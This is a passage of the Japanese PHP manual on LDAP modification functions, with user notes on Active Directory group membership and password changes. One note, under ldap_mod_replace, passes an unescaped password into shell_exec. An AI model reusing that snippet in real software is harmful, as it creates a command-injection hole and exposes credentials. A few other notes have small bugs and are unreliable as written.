LDAP_SCOPE_ONELEVEL は、コール時に指定した base の直下の階層から検索した結果のみを返すことを表します ("ls" と入力して、現在の作業ディレクトリのファイル/フォルダ 一覧を取得するのと同じようなものです)。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

base

ディレクトリのベース DN。

filter

attributes

必要な属性を、 array("mail", "sn", "cn") のような通常の PHP 文字列配列で保持します。 "dn" は要求された属性の型によらず常に返されることに注意してください。

このパラメータを使用すると、デフォルトの動作よりもかなり効率的になります (デフォルトでは、すべての属性とその値を返します)。 したがって、これを使用することを推奨します。

attributes_only

属性の型のみを取得したい場合は 1 を設定します。 属性の型および値の両方を取得したい場合は 0 を設定します (これがデフォルトの挙動です)。

sizelimit

取得するエントリ数の制限を設定します。 0 は無制限であることを表します。

注意:

このパラメータは、サーバー側で事前に設定されている sizelimit を上書きすることはできません。それ以下の値を指定することはできます。

ディレクトリサーバーのホストによっては、 事前に設定された数以上のエントリを返さないようになっているものもあります。 この場合、サーバーでは、それが結果セットのすべてではないことを通知します。 このパラメータでエントリ数を制限した場合にも、同じことが起こります。

timelimit

検索に要する最大秒数を設定します。 これを 0 にすると無制限であることを表します。

注意:

このパラメータは、サーバー側で事前に設定されている timelimit を上書きすることはできません。それ以下の値を指定することはできます。

deref

検索時のエイリアスの扱いについて指定します。 以下のいずれかとなります。

  • LDAP_DEREF_NEVER - (デフォルト) エイリアスは参照されません。
  • LDAP_DEREF_SEARCHING - エイリアスを参照しますが、検索のベースオブジェクト上にいるときは参照しません。
  • LDAP_DEREF_FINDING - エイリアスの参照は、ベースオブジェクト上にいて検索中でない場合に行われます。
  • LDAP_DEREF_ALWAYS - エイリアスを常に参照します。

controls

リクエストと一緒に送信する LDAP コントロール の配列

返り値

検索結果 ID を返します。エラーの場合は、false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

例

例1 ある組織の全ての組織単位を一覧表示する

<?php
// $ds はディレクトリサーバーの有効なリンク ID

$basedn = "o=My Company, c=US";
$justthese = array("ou");

$sr = ldap_list($ds, $basedn, "ou=*", $justthese);

$info = ldap_get_entries($ds, $sr);

for ($i=0; $i < $info["count"]; $i++) {
    echo $info[$i]["ou"][0];
}
?>

参考

  • ldap_search() - LDAP ツリーを探索する

User Contributed Notes

There are no user contributed notes for this page.


現在の属性に属性を追加する

  • ≪ ldap_list
  • ldap_mod_add ≫
  • PHP Manual
  • LDAP 関数
  • 現在の属性に属性を追加する

ldap_mod_add_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_mod_add_ext — 現在の属性に属性を追加する

説明

ldap_mod_add_ext ( resource $ldap , string $dn , array $entry , array|null $controls = null ) : resource|false

ldap_mod_add() と同じですが、 ldap_parse_result() を使ってパースされた LDAP 結果リソースを返します。

パラメータ

ldap_mod_add() を参照してください。

返り値

LDAP の結果識別子を返します。 エラーの場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

参考

  • ldap_mod_add() - 現在の属性に属性を追加する
  • ldap_parse_result() - 結果から情報を展開する

User Contributed Notes

There are no user contributed notes for this page.


現在の属性に属性を追加する

  • ≪ ldap_mod_add_ext
  • ldap_mod_del_ext ≫
  • PHP Manual
  • LDAP 関数
  • 現在の属性に属性を追加する

ldap_mod_add

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_mod_add — 現在の属性に属性を追加する

説明

ldap_mod_add ( resource $ldap , string $dn , array $entry , array|null $controls = null ) : bool

指定した dn に属性を追加します。 新しいオブジェクト全体を追加する用途については、 ldap_add() 関数を参照してください。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

dn

LDAP エンティティの識別名。

entry

追加する属性値を一覧にした連想配列。 属性が存在しない場合は追加されます。 属性が存在する場合は、その属性が複数の値をサポートしている場合のみ追加できます。

controls

リクエストと一緒に送信する LDAP コントロール の配列

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

注意

注意: この関数はバイナリデータに対応しています。

参考

  • ldap_mod_add_ext() - 現在の属性に属性を追加する
  • ldap_mod_del() - 現在の属性から属性を削除する
  • ldap_mod_replace() - 属性を新規の値に置換する
  • ldap_modify_batch() - LDAP エントリの変更をまとめて実行する

User Contributed Notes

bart-holland at wedefo dot nl 06-Nov-2013 03:44
Adding a user to a group in Apple's OpenDirectory goes as follows:

<?php

$dn = "cn=groupname,cn=groups,dc=example,dc=com";
$entry['memberuid'] = "username";

ldap_mod_add($connect, $dn, $entry);

?>
theiderich AT laweekly dot com 15-Jul-2005 03:17
When adding/editing attributes for a user, the 'memberof' attribute is a special case.  The memberOf attribute is not an accessible attribute of the user schema. To add someone to a group, you have to add the user in the group, and not the group in the user. You can do this by accessing the group attribute 'member':

<?php

$group_name = "CN=MyGroup,OU=Groups,DC=example,DC=com";
$group_info['member'] = $dn; // User's DN is added to group's 'member' array
ldap_mod_add($connect,$group_name,$group_info);

?>
Claudio Lente <nelchael at ig dot com dot br> 26-Feb-2003 02:03
Using PHP 4.2.3 with IIS 5 and Win2k Server. My confs are:

$ldap_srvr = 'servername' ;
$ldap_port = 389;
$ldap_con = ldap_connect($ldap_srvr, $ldap_port);
$ldap_rdn  = "username";
$ldap_pwd = "__password__";

$ldap_vbind = ldap_bind($ldap_con, $ldap_rdn, $ldap_pwd);

$base_dn= 'CN=username,CN=Users,DC=domain,DC=org,DC=us
' ;
$ldap_filter= 'objectClass=*';

$info['mail']='username@domain.org.us';

ldap_mod_add($ldap_con, $base_dn, $info);
ldap_add($ldap_con, $base_dn, $info);

this generate an error:
- Warning: LDAP: modify operation could not be completed. in

ldap_modify($ldap_con, $base_dn, $info);

this function corretly.

It?s all.
JoshuaStarr at aelana dot com 30-Aug-2001 10:52
To add a new attribute with a single value:

$entry[mail] = "newmail@aelana.com";
$results = ldap_mod_add($ldapConnID, $dn, $entry);

To add a new attribute with multiple values:

$entry[mail][] = "newmail@aelana.com";
$entry[mail][] = "altnewmail@aelana.com";
$results = ldap_mod_add($ldapConnID, $dn, $entry);


現在の属性から属性を削除する

  • ≪ ldap_mod_add
  • ldap_mod_del ≫
  • PHP Manual
  • LDAP 関数
  • 現在の属性から属性を削除する

ldap_mod_del_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_mod_del_ext — 現在の属性から属性を削除する

説明

ldap_mod_del_ext ( resource $ldap , string $dn , array $entry , array|null $controls = null ) : resource|false

ldap_mod_del() と同じですが、 ldap_parse_result() を使ってパースされた LDAP 結果リソースを返します。

パラメータ

ldap_mod_del() を参照してください。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

返り値

LDAP の結果識別子を返します。 エラーの場合は false を返します。

参考

  • ldap_mod_del() - 現在の属性から属性を削除する
  • ldap_parse_result() - 結果から情報を展開する

User Contributed Notes

There are no user contributed notes for this page.


現在の属性から属性を削除する

  • ≪ ldap_mod_del_ext
  • ldap_mod_replace_ext ≫
  • PHP Manual
  • LDAP 関数
  • 現在の属性から属性を削除する

ldap_mod_del

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_mod_del — 現在の属性から属性を削除する

説明

ldap_mod_del ( resource $ldap , string $dn , array $entry , array|null $controls = null ) : bool

ひとつあるいは複数の属性を、指定した dn から削除します。 オブジェクトレベルの削除は、ldap_delete() 関数により行います。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

dn

LDAP エンティティの識別名。

entry

controls

リクエストと一緒に送信する LDAP コントロール の配列

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

参考

  • ldap_mod_del_ext() - 現在の属性から属性を削除する
  • ldap_mod_add() - 現在の属性に属性を追加する
  • ldap_mod_replace() - 属性を新規の値に置換する
  • ldap_modify_batch() - LDAP エントリの変更をまとめて実行する

User Contributed Notes

gsgleason at gmail dot com 26-Jan-2015 08:03
To remove all of a particular attribute, feed it an empty array.

For example, to remove all members from a group:

<?php
ldap_mod_del($ldapconn,$groupDN,array("member" => array()));
?>
bart-holland at wedefo dot nl 07-Nov-2013 03:27
Te remove a user from a group in Apple's Open Directory, you need to also remove the members generated uid from the group.

Removing the users is as follows:

<?php

//setting variables
$ldapDN = "uid=myadmin,cn=users,dc=myserver,dc=com';
$ldapPass = "somepass";

$groupDn = 'cn=mygroup,cn=groups,dc=myserver,dc=com'
$removal = array(
    "memberuid"=>"username",
    "apple-group-memberguid"=>"846DE847-D73D-428D-83A8-B95B606C511B"
);

//connect and bind
$ldapconnect = ldap_connect("myserver.com",389);
ldap_bind($ldapconnect, $ldapDN, $ldapPass);

//removing member from group
ldap_mod_del($ldapconnect, $groupDn, $removal);

//unbind
ldap_unbind($ldapconnect);

?>
jonatam dot ribeiro at hotmail dot com 07-May-2013 02:44
We often need to delete "objectclass" below follows a simple code to make this successful removal.

$userdataModifydelSamba = array();
$userdataModifydelSamba['objectClass'] = array();
$userdataModifydelSamba['objectClass'][0] = 'sambaSamAccount';

$userdataModifydelSamba['sambasid'] = array();
$userdataModifydelSamba['sambantpassword'] = array();
$userdataModifydelSamba['sambahomedrive'] = array();
$userdataModifydelSamba['sambadomainname'] = array();
$userdataModifydelSamba['sambaacctflags'] = array();
$userdataModifydelSamba['sambaprimarygroupsid'] = array();
$userdataModifydelSamba['sambapwdlastset'] = array();

$sucess = @ldap_mod_del($connection, $dn, $result);
if(!$sucess)
{
   throw new Exception("error " . ldap_err2str(ldap_errno($connection)));
}
06-Apr-2006 08:35
For anyone interested in removing a user from a group, you can use ldap_mod_del() as follows:

$group = 'CN=mygroup,OU=myOU,DC=mydomain,DC=com';

$group_info['member'] = 'CN=User\, Test,CN=Users,DC=mydomain,DC=com';

ldap_mod_del($ldap, $group, $group_info);

I have tested this using Active Directory on a Win 2K3 server.
thomas dot thiel at tapgmbh dot com 09-Dec-2002 08:42
and please don't forget:
you can't delete all attributes, when at least one is required.
JoshuaStarr at aelana dot com 13-May-2002 10:24
The above example has also been proven to work in the iPlanet / Sun One Directory Server 5.0/5.1. As an example:

$attrs["mail"] = array();
ldap_mod_del($ldapConnID,$dn,$attrs);

or

$attrs["mail"] = array();
$attrs["telephonenumber"] = array();
ldap_mod_del($ldapConnID,$dn,$attrs);

This will remove all occurences of attributes in the entry specified by the dn.
ral at royal dot net 30-Aug-2001 08:09
At least with OpenLDAP 1.2.x
to remove an attribute regardless of it's value you have to assign:

$attrs["AttributeName"]=array();

after ldap_mod_del($ds,$dn,$attrs)
all occurences of AttributeName will be removed
ral at royal dot net 22-Jul-2001 10:33
To remove all instances of an attribute:

$entry["attrname"][]="value1";
$entry["attrname"][]="value2";
...
$entry["attrname"][]="valueN";

ldap_mod_del($ds, $dn, $entry);
twopairs at solfy dot com 22-Jul-2001 05:05
<pre>
uid: testuser
mail: testuser@test.net
mail: testuser@somewhere.com
</pre>

How to remove the values of mail so that only the second value for mail exists:

<pre>
$entry["mail"] = "testuser@test.net";
$result = ldap_mod_del($connID, $dn, $entry);
</pre>

if you want to remove all instances of an attribute.....
==>
<pre>
$entry["mail"][0] = "testuser@test.net";
$entry["mail"][1] = "testuser@somewhere.net";
$result = ldap_mod_del($connID, $dn, $entry);
</pre>

are not?
sam_freund at yahoo dot com 05-Dec-2000 12:11
Using ldap_modify with a blank string works if you aren't propagating your LDAP database, even though it returns the error. Still, I'd say don't do it, as it smacks of something that will be fixed in a future version.
mark at cushman dot net 20-Nov-2000 09:17
I have found that the syntax:

$entry["mail"] = "";

Will NOT delete the mail attribute using the OpenLDAP server.  You must specify the attribute value to delete it successfully, otherwise you will recieve an "Invalid Syntax" error from the server.

The error: "Inappropriate Matching" will be displayed if the attribute you are trying to delete has no equality rule in the schema.  I had a problem deleting the attribute facsimilieTelephoneNumber, and it was because my core.schema file did not have an EQUALITY definition for that attribute.  I copied the telephoneNumber EQUALITY rule and it worked perfectly.
arjanw at bigfoot dot com 08-Aug-2000 11:15
To remove all instances of an attribute you can use ldap_modify with an empty value for that attribute.

$entry["mail"] = "";
$result = ldap_modify($connID, $dn, $entry);
arimus at apu dot edu 27-Apr-2000 07:35
After a couple hours of searching and not finding anything on the ldap_mod_del function worth anything, I started trying to figure out myself what format the "array entry" parameter needed to be in.  Here is what I found:

The entry array is a hash with the attribute name as the hash key and the specific value you want deleted for that attribute as the corresponding hash value.

-- Example

Current values for the attributes of of a particular entry:

     uid: testuser
     mail: testuser@test.net
     mail: testuser@somewhere.com

How to remove the first value of mail so that only the second value for mail exists:

     $entry["mail"] = "testuser@test.net";
     $result = ldap_mod_del($connID, $dn, $entry);

So if you want to remove all instances of an attribute, you have to do it one by one.


属性を新規の値に置換する

  • ≪ ldap_mod_del
  • ldap_mod_replace ≫
  • PHP Manual
  • LDAP 関数
  • 属性を新規の値に置換する

ldap_mod_replace_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_mod_replace_ext — 属性を新規の値に置換する

説明

ldap_mod_replace_ext ( resource $ldap , string $dn , array $entry , array|null $controls = null ) : resource|false

ldap_mod_replace() と同じですが、 ldap_parse_result() を使ってパースされた LDAP 結果リソースを返します。

パラメータ

ldap_mod_replace() を参照してください。

返り値

LDAP の結果識別子を返します。 エラーの場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

参考

  • ldap_mod_replace() - 属性を新規の値に置換する
  • ldap_parse_result() - 結果から情報を展開する

User Contributed Notes

There are no user contributed notes for this page.


属性を新規の値に置換する

  • ≪ ldap_mod_replace_ext
  • ldap_modify_batch ≫
  • PHP Manual
  • LDAP 関数
  • 属性を新規の値に置換する

ldap_mod_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_mod_replace — 属性を新規の値に置換する

説明

ldap_mod_replace ( resource $ldap , string $dn , array $entry , array|null $controls = null ) : bool

指定した dn でひとつあるいは複数の属性の置換を行います。 この関数は、属性の追加や削除も行えます。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

dn

LDAP エンティティの識別名。

entry

置き換える属性を一覧にした連想配列。 空の配列を送ると、属性そのものが削除されます。 一方で、属性が存在していない値を送ると追加されます。

controls

リクエストと一緒に送信する LDAP コントロール の配列

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

注意

注意: この関数はバイナリデータに対応しています。

参考

  • ldap_mod_replace_ext() - 属性を新規の値に置換する
  • ldap_mod_del() - 現在の属性から属性を削除する
  • ldap_mod_add() - 現在の属性に属性を追加する
  • ldap_modify_batch() - LDAP エントリの変更をまとめて実行する

User Contributed Notes

giodev at panozzo dot it 27-Feb-2020 07:50
An bettter method to create the unicodePwd Active Directory LDAP field from PHP is:

$unicodePwd = iconv("UTF-8", "UTF-16LE", "\"".$password."\"");

It works when $password is coming from a UTF-8 page. If your $password is not utf-8, change the 1st parameter of iconv.
dynamik 15-Feb-2013 06:11
Using this function to 'replace' an Active Directory password requires the "Reset Password" security permission as opposed to the "Change Password" permission (which is assigned by default to SELF)
Anonymous 01-Jun-2012 08:32
this can not be used to change a password on an AD server that requires you to send the old and new password.

in order to do this use on shuts an sever make an admin-account that allows to change other ppl pw without suppling the old password first.
plex909 30-Sep-2008 03:23
Here's an easy way to encode AD "unicodepwd" values from linux...

Download and install recode...
http://www.gnu.org/software/recode/recode.html

Then write something like this...
<?php
function ADUnicodePwdValue($plain_txt_value)
{
    return str_replace("\n", "", shell_exec("echo -n '\"" . $plain_txt_value . "\"' | recode latin1..utf-16le/base64"));
}

$user["unicodepwd"] = ADUnicodePwdValue("my_password");

?>

[EDITOR thiago NOTE: The following text was sent by boyvanderlaak at gmail dot com as an important complement]

if you do not have access to your linux box but have Multibyte String enabled you could try the following for AD 2008:

<?php
$info["unicodePwd"] = mb_convert_encoding('"' . $newPassword . '"', 'utf-16le');
?>
chris at mr2madness dot com 18-Sep-2007 07:44
You can use arrays for multiple attributes example:

<?php
$entry[mail] = array("example@example.com","example2@example.com");
$results = ldap_mod_add($ldapConnID,$dn, $entry);
?>
or as i did for creating anew user:
<?php
$adduserAD["objectClass"] = array("top","person","organizationalPerson","user");
?>
mike dot rosile at interzonegames dot com 20-Jul-2007 09:01
Here is some great information from the OpenLDAP FAQs regarding changing a userPassword attribute with PHP:

http://www.openldap.org/faq/data/cache/347.html

$userpassword = "{SHA}" . base64_encode( pack( "H*", sha1( $pass ) ) );
aaronfulton at softhome dot net 03-Dec-2006 08:24
Before you modify values in your ldap directory, first make sure that you have permission to do so.  In openldap adding the following acl in slap.conf will allow the user to modify their own userpassword.

access to attr=userPassword
        by self write
        by anonymous auth
        by * none
erwann at zeflip dot com 04-Oct-2006 10:41
If you do not wish to set up SSL on your active directory, and you are running on Windows, you can use COM and ADSI to set the new password for a user, or to active a user:

<?PHP
// to set a user password
  // server is the ldap server
  // newuser_dn is the full dn of the user you want to modify
  // newuser_password is the password you wish to set for the user

    $ADSI = new COM("LDAP:");
    $user = $ADSI->OpenDSObject("LDAP://".$server."/".$newuser_dn, $adminuser, $adminpassword, 1);
    $user->SetPassword($newuser_password);
    $user->SetInfo();

// to activate a user
    $ADSI = new COM("LDAP:");
    $user = $ADSI->OpenDSObject("LDAP://".$server."/".$newuser_dn, $adminuser, $adminpassword, 1);
    $user->AccountDisabled = false;
    $user->SetInfo();

?>
frederic dot jacquot at insa-lyon dot fr 09-Jun-2004 04:26
Changing a user password in Active Directory.
Securely connect (using ldaps) to the Active Directory and bind using an administrator account.

In this example, $userDn contains the dn of the user I want to modify, and $ad is the Active Directory ldaps connection)

$newPassword = "MyPassword";
$newPassword = "\"" . $newPassword . "\"";
$len = strlen($newPassword);
for ($i = 0; $i < $len; $i++)
        $newPassw .= "{$newPassword{$i}}\000";
$newPassword = $newPassw;
$userdata["unicodepwd"] = $newPassword;
$result = ldap_mod_replace($ad, $userDn, $userdata);
if ($result) echo "User modified!" ;
else echo "There was a problem!";

I found it hard to get a proper encoding for the unicodepwd attribute so this piece of code might help you ;-)
18-Jul-2002 11:32
Sometime,we cannot replace ldap_mod_replace  function  with ldap_mod_del function and ldap_mod_add fuction .We  don't have permission to delete an attribute but  we can replace it.
ondrej at sury dot cz 26-Feb-2002 05:31
in openldap 2.0.x you can use method with mod_del/mod_add only if the attribute have defined EQUALITY rule.
JoshuaStarr at aelana dot com 30-Aug-2001 11:28
To modify an attribute with a single value:
  $entry[mail] = "newmail@aelana.com";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);

To modify an attribute with multiple values:
  $entry[mail][] = "newmail@aelana.com";
  $entry[mail][] = "altnewmail@aelana.com";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);

To modify multiple attributes
  $entry[mail][] = "newmail@aelana.com";
  $entry[mail][] = "altnewmail@aelana.com";
  $entry[c]      = "US";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);
oyvindmo at initio dot no 30-Nov-2000 04:57
ldap_mod_replace() and ldap_modify() are _exactly_ the same.  So, the comment that ldap_mod_replace() "performs the modification at the attribute level as opposed to the object level", has no root in reality.
yife at myrice-ltd dot com 16-Nov-2000 01:57
if i want to replace the special attribute but i don't replace other attribute ,i just use "ldap_mod_del" and "ldap_mod_add" ,the function seems to that


LDAP エントリの変更をまとめて実行する

  • ≪ ldap_mod_replace
  • ldap_modify ≫
  • PHP Manual
  • LDAP 関数
  • LDAP エントリの変更をまとめて実行する

ldap_modify_batch

(PHP 5.4 >= 5.4.26, PHP 5.5 >= 5.5.10, PHP 5.6 >= 5.6.0, PHP 7, PHP 8)

ldap_modify_batch — LDAP エントリの変更をまとめて実行する

説明

ldap_modify_batch ( resource $ldap , string $dn , array $modifications_info , array|null $controls = null ) : bool

LDAP ディレクトリに存在する既存のエントリを変更します。 実行する変更の詳細な仕様を指定できます。

パラメータ

ldap

ldap_connect() で返された、LDAP リンクの識別子。

dn

LDAP エンティティの識別名。

modifications_info

行う変更を指定する配列。 この配列の個々のエントリは、2つまたは3つのキーからなる連想配列です: attrib は、変更する属性の名前に対応します。 modtype は、行う変更のタイプに対応し、 (変更のタイプによっては) values が変更に関連した属性値の配列に対応します。

modtype で有効な値は以下のとおりです:

LDAP_MODIFY_BATCH_ADD

values で指定された値が、 (追加の値として) attrib で指定された属性に追加されます。

LDAP_MODIFY_BATCH_REMOVE

values で指定された値が、 attrib で指定された属性から削除されます。 values に含まれていない属性の値は、そのまま残されます。

LDAP_MODIFY_BATCH_REMOVE_ALL

attrib で指定された属性名から、全ての値を削除します。 values エントリを指定してはいけません。

LDAP_MODIFY_BATCH_REPLACE

attrib の属性名の現在の全ての値が、 values で指定された値で置き換えられます。

以下の点に注意してください: attrib の値は文字列でなければいけません。 values の値は、文字列の配列でなければいけません。 そして、 modtype の値は、上で示した LDAP_MODIFY_BATCH_* 定数のうちのひとつでなければいけません。

controls

リクエストと一緒に送信する LDAP コントロール の配列

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

例

例1 contact に電話番号を追加する

<?php
$dn = "cn=John Smith,ou=Wizards,dc=example,dc=com";
$modifs = [
    [
        "attrib"  => "telephoneNumber",
        "modtype" => LDAP_MODIFY_BATCH_ADD,
        "values"  => ["+1 555 555 1717"],
    ],
];
ldap_modify_batch($connection, $dn, $modifs);
?>

例2 ユーザーの名前を変更する

<?php
$dn = "cn=John Smith,ou=Wizards,dc=example,dc=com";
$modifs = [
    [
        "attrib"  => "sn",
        "modtype" => LDAP_MODIFY_BATCH_REPLACE,
        "values"  => ["Smith-Jones"],
    ],
    [
        "attrib"  => "givenName",
        "modtype" => LDAP_MODIFY_BATCH_REPLACE,
        "values"  => ["Jack"],
    ],
];
ldap_modify_batch($connection, $dn, $modifs);
ldap_rename($connection, $dn, "cn=Jack Smith-Jones", NULL, TRUE);
?>

例3 ユーザーにEメールアドレスを2つ追加する

<?php
$dn = "cn=Jack Smith-Jones,ou=Wizards,dc=example,dc=com";
$modifs = [
    [
        "attrib"  => "mail",
        "modtype" => LDAP_MODIFY_BATCH_ADD,
        "values"  => [
            "jack.smith@example.com",
            "jack.smith-jones@example.com",
        ],
    ],
];
ldap_modify_batch($connection, $dn, $modifs);
?>

例4 ユーザーのパスワードを変更する

<?php
$dn = "cn=Jack Smith-Jones,ou=Wizards,dc=example,dc=com";
$modifs = [
    [
        "attrib"  => "userPassword",
        "modtype" => LDAP_MODIFY_BATCH_REMOVE,
        "values"  => ["Tr0ub4dor&3"],
    ],
    [
        "attrib"  => "userPassword",
        "modtype" => LDAP_MODIFY_BATCH_ADD,
        "values"  => ["correct horse battery staple"],
    ],
];
ldap_modify_batch($connection, $dn, $modifs);
?>

例5 ユーザーのパスワードを変更する(Active Directory)

<?php
function adifyPw($pw)
{
    return iconv("UTF-8", "UTF-16LE", '"' . $pw . '"');
}

$dn = "cn=Jack Smith-Jones,ou=Wizards,dc=ad,dc=example,dc=com";
$modifs = [
    [
        "attrib"  => "unicodePwd",
        "modtype" => LDAP_MODIFY_BATCH_REMOVE,
        "values"  => [adifyPw("Tr0ub4dor&3")],
    ],
    [
        "attrib"  => "unicodePwd",
        "modtype" => LDAP_MODIFY_BATCH_ADD,
        "values"  => [adifyPw("correct horse battery staple")],
    ],
];
ldap_modify_batch($connection, $dn, $modifs);

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス ldap_mod_replace

  • ≪ ldap_modify_batch
  • ldap_next_attribute ≫
  • PHP Manual
  • LDAP 関数
  • のエイリアス ldap_mod_replace

ldap_modify

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_modify — のエイリアス ldap_mod_replace()

説明

この関数は次の関数のエイリアスです。 ldap_mod_replace().

参考

  • ldap_rename() - エントリ名を修正する

User Contributed Notes

Anonymous 01-Mar-2015 06:52
I ran into a rather annoying issue when trying to add a user to a usergroup in Active Directory.

Active Directory tends to not be particularly happy when you try modifying the "memberOf" attribute (through ldap_mod_add/ldap_mod_replace), and will output a warning/error somewhere along the lines of:

Warning: ldap_mod_add(): Modify: Server is unwilling to perform in ...

If you want to add a user to a usergroup, you need to add the user as a member of the group, rather than adding to the memberOf attribute of the group:

<?php
    function ldap_addToGroup($username, $group) {
        $dn = "CN=$group,OU=Accounts,DC=DC1,DC=DC2"; // distinguished name/DN of the group you want to add to
        $info["member"] = "CN=$username,OU=Accounts,DC=DC1,DC=DC2"; // DN of the user you want to add
        return ldap_modify($ldapconn, $dn, $info);
    }
?>

Hope this helps someone.
Anonymous 01-Mar-2015 06:51
I ran into a rather annoying issue when trying to add a user to a usergroup in Active Directory.

Active Directory tends to not be particularly happy when you try modifying the "memberOf" attribute (through ldap_mod_add/ldap_mod_replace), and will output a warning/error somewhere along the lines of:

Warning: ldap_mod_add(): Modify: Server is unwilling to perform in ...

If you want to add a user to a usergroup, you need to add the user as a member of the group, rather than adding to the memberOf attribute of the group:

<?php
    function ldap_addToGroup($username, $group) {
        $dn = "CN=$group,OU=Accounts,DC=DC1,DC=DC2"; // distinguished name/DN of the group you want to add to
        $info["member"] = "CN=$username,OU=Accounts,DC=DC1,DC=DC2"; // DN of the user you want to add
        return ldap_modify($ldapconn, $dn, $info);
}
?>

Hope this helps someone.
spam at bilgoraj dot info 02-Aug-2013 10:38
If You can`t add attribute objectclass to existing object  using ldap_modify - use ldap_mod_add - it works.
php_notes at grumz dot net 18-Apr-2007 06:09
Following goetz at rvs dot uni-hannover dot de's comment, it is not exactly true that ldap_modify can't change objectclass.

In fact, it's impossible to add an objectclass which is set as STRUCTURAL in the schema description. But you can add an objectclass set as AUXILIARY. See OpenLDAP FAQ below for explanation why :

http://www.openldap.org/faq/data/cache/1341.html

For example, if you have an ldap entry of type "device", which is a structural objectclass, named "cn=myNetCard,ou=Networks,dc=example,dc=com", you can do this :

<?php

$entry["objectclass"][0] = "device";
$entry["objectclass"][1] = "ieee802Device"; // add an auxiliary objectclass
$entry["macAddress"][0] = "aa:bb:cc:dd:ee:ff";

ldap_modify ($cnx, "cn=myNetCard,ou=Networks,dc=example,dc=com", $entry);
?>

But this will not work :

<?php

$entry["objectclass"][0] = "device";
$entry["objectclass"][1] = "ipNetwork"; // add a structural objectclass
$entry["ipNetworkNumber"][0] = "1.2.3.4";

ldap_modify ($cnx, "cn=myNetCard,ou=Networks,dc=example,dc=com", $entry);
?>

You will get the following error : "Cannot modify object class"
kevin at guarana dot org 02-Apr-2007 06:44
If you're seeing confusing "Type or value exists" errors from ldap_modify, the reason could be that you're attempting to add two identical values for a multi-valued attribute.  ie, something like:

<?php
$le = array("mail" => array("foo@bar.com", "foo@bar.com"));
$result = ldap_modify($ldap_link, $dn, $le);
?>
docwoelle at ipwatch dot de 11-Apr-2006 01:44
If you want to disable an account in an Active Directory of Windows,
you may try this (it works for me in a Win2k environment):

(foo.bar should be replaced in "$ldapBase" to the correct
 domain, e.g. "DC=phpfreackx,DC=com" if your domain is phpfreackx.com)

domctrl = domain controller
domadlogin = domain admin login
domadpw = domain admin password
username = loginname of useraccount (e.g. "john.doe")
enable =1 (if you want to enable it, 0 if it should be disabled)

<?php
function userchange($username,$enable=1,$domadlogin,$domadpw,$domctrl)
{
$ldapServer = $domctrl;
$ldapBase = 'DC=foo,DC=bar';
$ds = ldap_connect($ldapServer);
if (!$ds) {die('Cannot Connect to LDAP server');}
$ldapBind = ldap_bind($ds,$domadlogin,$domadpw);
if (!$ldapBind) {die('Cannot Bind to LDAP server');}
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
$sr = ldap_search($ds, $ldapBase, "(samaccountname=$username)");
$ent= ldap_get_entries($ds,$sr);
$dn=$ent[0]["dn"];
// Deactivate
$ac = $ent[0]["useraccountcontrol"][0];
$disable=($ac |  2); // set all bits plus bit 1 (=dec2)
$enable =($ac & ~2); // set all bits minus bit 1 (=dec2)
$userdata=array();
if ($enable==1) $new=$enable; else $new=$disable; //enable or disable?
$userdata["useraccountcontrol"][0]=$new;
ldap_modify($ds, $dn, $userdata); //change state
$sr = ldap_search($ds, $ldapBase, "(samaccountname=$username)");
$ent= ldap_get_entries($ds,$sr);
$ac = $ent[0]["useraccountcontrol"][0];
if (($ac & 2)==2) $status=0; else $status=1;
ldap_close($ds);
return $status; //return current status (1=enabled, 0=disabled)
}

// use this to disable an account:
// userchange('john.doe@foo.bar',0,'admin@foo.bar', 'secret','domctrl.foo.bar');
// ..but this to enable it:
// userchange('john.doe@foo.bar',1,'admin@foo.bar', 'secret','domctrl.foo.bar');
?>
jmw1982 at gmail dot com 28-Nov-2005 02:03
If you're writing a multiple values for an attribute with ldap_modify (), the function will attempt to write all entries in the value array even if those entries are blank.  Setting blank entries to a blank array in the manner used for attribute deletion, ie:

$attributes[$attr_name][3] = array ();

results in the string "Array" being written to the directory for that value.  The only way I was able to find to do what I wanted - only write the values for the attribute that were submitted on the form - was to check if each attribute had multiple values and unset () blank values, eg:

                foreach ($attributes as $key => $cur_val) {
                        if ($cur_val== '') {
                                $attributes[$key] = array ();
                        }
                        if (is_array ($cur_val)) {
                                foreach ($cur_val as $mv_key => $mv_cur_val) {

                                        if ($mv_cur_val == '') {
